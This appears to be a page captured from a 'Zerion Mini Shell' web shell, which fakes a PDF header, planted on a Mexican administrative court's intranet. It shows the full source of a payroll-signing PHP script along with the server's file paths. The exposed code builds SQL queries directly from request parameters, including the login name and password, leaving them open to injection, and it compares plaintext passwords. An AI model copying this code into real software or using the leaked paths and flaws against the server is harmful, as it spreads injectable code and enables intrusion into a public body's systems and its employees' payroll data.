%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/firmar_nomina_ver.php

<?php

use setasign\Fpdi\Fpdi;
use setasign\Fpdi\PdfReader;

require_once('../../../common/fpdf/fpdf.php');
require_once('../../../common/fpdi/src/autoload.php');
include "../../../config/config.php";

$id_firma = isset($_REQUEST['id_firma']) ? $_REQUEST['id_firma'] : '-1';
//$fecha_firma 	=	isset($_REQUEST['fecha_firma']) ? $_REQUEST['fecha_firma'] : '';
$user = isset($_REQUEST['rfc']) ? $_REQUEST['rfc'] : '';
$password = isset($_REQUEST['password2']) ? $_REQUEST['password2'] : '0';
$id_nom = isset($_REQUEST['id_nom']) ? $_REQUEST['id_nom'] : '0';
$fecha = date('dmYhis', time());
$fecha2 = $fecha;

$permitted_chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+#$()?=/';

$fecha_firma = date("Y-m-d");


if (isset($_REQUEST['rfc']) and isset($_REQUEST['password'])) {
	$conf = new Configuracion();
	$conf->conectarBD();

	$consulta6 = "SELECT n.* 
                            FROM tjam_nominas n 
                            JOIN tjam_empleados e 
                            ON (n.id_empleado = e.num_empleado)
                            WHERE n.id_nomina_e = $id_nom ";
	$rst6 = $conf->consulta($consulta6);
	$id_empleado = $rst6[0]["id_empleado"];
	$nomina_pdf = $rst6[0]["nomina_pdf"];
	$ruta_pdf = $rst6[0]["ruta_pdf"];
	$anio = $rst6[0]["anio"];

	$sql = "SELECT id, nombre, id_rol FROM tjam_empleados 
		                WHERE rfc = '$user' AND password = '$password' ";
	$rst1 = $conf->consulta($sql);
	$id_usuario = $rst1[0]["id"];

	if (count($rst1) == 0) {
		header("Location: ../page_nomina.php?permiso=0");
	} else {
		$notransaccion = md5($id_nom);
		$nom_nom = md5($nomina_pdf);
		$token = bin2hex($fecha2);
		$pre = pathinfo($nomina_pdf, PATHINFO_FILENAME);
		$sello = generate_string($permitted_chars, 180);
		$nocomprobacion = '' . $nom_nom . ' |' . $fecha2 . ' |' . $notransaccion . ' |' . $token . ' |' . $sello . '';

		$pdf = new Fpdi();

		$pageCount = $pdf->setSourceFile($_SERVER["DOCUMENT_ROOT"] . '/intranet/intranet/sistemas/usuarios/' . $id_empleado . '/' . $anio . '/' . $nomina_pdf);

		$pageId = $pdf->importPage(1);

		$pdf->addPage();
		$pdf->useImportedPage($pageId, 0, 0, 210);
		$pdf->SetTextColor(0, 0, 0);
		$pdf->SetFont('Arial', 'B', '4');
		$pdf->SetXY(102, 125);
		//$pdf->MultiCell(95,2,utf8_decode('Me doy por bien pagado, satisfecho y que no podré reclamar nada de nada, si lo hago que se me caiga, pero de verdad que nadita reclamaré y mucho menos me quejaré del trabajo que tenga o que deba de hacer, que así sea por hoy y por el resto de mis días o por los que me queden en este digno Tribunal. Solo para ver si cabe otra línea' ),0,'J',0);
		$pdf->MultiCell(100, 2, utf8_decode('Recibí del Tribunal de Justicia Administrativa de Michoacán de Ocampo la cantidad que ampara el presente documento por los conceptos que en el mismo se señalan y que con ella me doy por pagado (a) de todas y cada uno de las prestaciones a las que legalmente tengo derecho a esta fecha, derivadas de la relación laboral que tengo con el mencionado Tribunal y de la Ley de la materia, tales como salarios ordinarios, horas extras, séptimos días, días de descanso obligatorios y todas las que correspondan; cantidad que recibo a mi entera satisfacción, manifestando mi conformidad con los descuentos que en el mismo se describen, por lo que acepto que hasta la fecha no se me adeuda cantidad alguna por ningún concepto por los servicios prestados al Tribunal de Justicia Administrativa de Michoacán de Ocampo.'), 0, 'J', 0);
		//Write(5, 'FIRMA DEL EMPLEADO:');
		$pdf->SetFont('Arial', 'B', '8');
		//set position in pdf document
		$fechaActual = date('d-m-Y');
		$pdf->SetXY(10, 265);
		$pdf->Write(5, 'FIRMA DEL EMPLEADO:');
		$pdf->SetXY(155, 265);
		$pdf->Write(5, 'FECHA FIRMA: ' . $fecha_firma);
		$pdf->SetFont('Arial', '', '6');
		$pdf->Ln();


		$sqlF = "SELECT firma FROM tjam_firmas WHERE id_firma = $id_firma ";
		$rstF = $conf->consulta($sqlF);

		$firma = $rstF[0]['firma'];

		$pdf->MultiCell(185, 2, $firma, 0, 'L', 0);
		//$pdf->Output('I', 'generate.pdf');
		//$pdf->Output('F', 'TJA0711304U1_NOM_NOMINA23510_34_F.pdf');

		$pdf->Output('F', $_SERVER["DOCUMENT_ROOT"] . '/intranet/intranet/sistemas/usuarios/' . $id_empleado . '/' . $anio . '/' . $pre . '_F.pdf');

		$nomina_pdfn = $pre . '_F.pdf';

		$sql1 = "UPDATE tjam_nominas SET nomina_pdf = '$nomina_pdfn', firma = 1, id_firma = $id_firma, huella = '$nocomprobacion', fecha_firma = '$fecha_firma' WHERE id_nomina_e = $id_nom";
		$id_personal = $conf->actualizacion($sql1);

		$sql3 = "UPDATE notificaciones SET estatus = 1,ip_destino = '$ip',fecha_leido = now() WHERE url = 'sistemas/usuarios/page_nomina.php?noti=1' AND id_empleado_dest = $id_usuario";
		$rst3 = $conf->actualizacion($sql3);

		header("Location: ../page_nomina.php");

	}

}

function generate_string($input, $strength = 16)
{
	$input_length = strlen($input);
	$random_string = '';
	for ($i = 0; $i < $strength; $i++) {
		$random_character = $input[random_int(0, $input_length - 1)];
		$random_string .= $random_character;
	}

	return $random_string;
}

?>

Zerion Mini Shell 1.0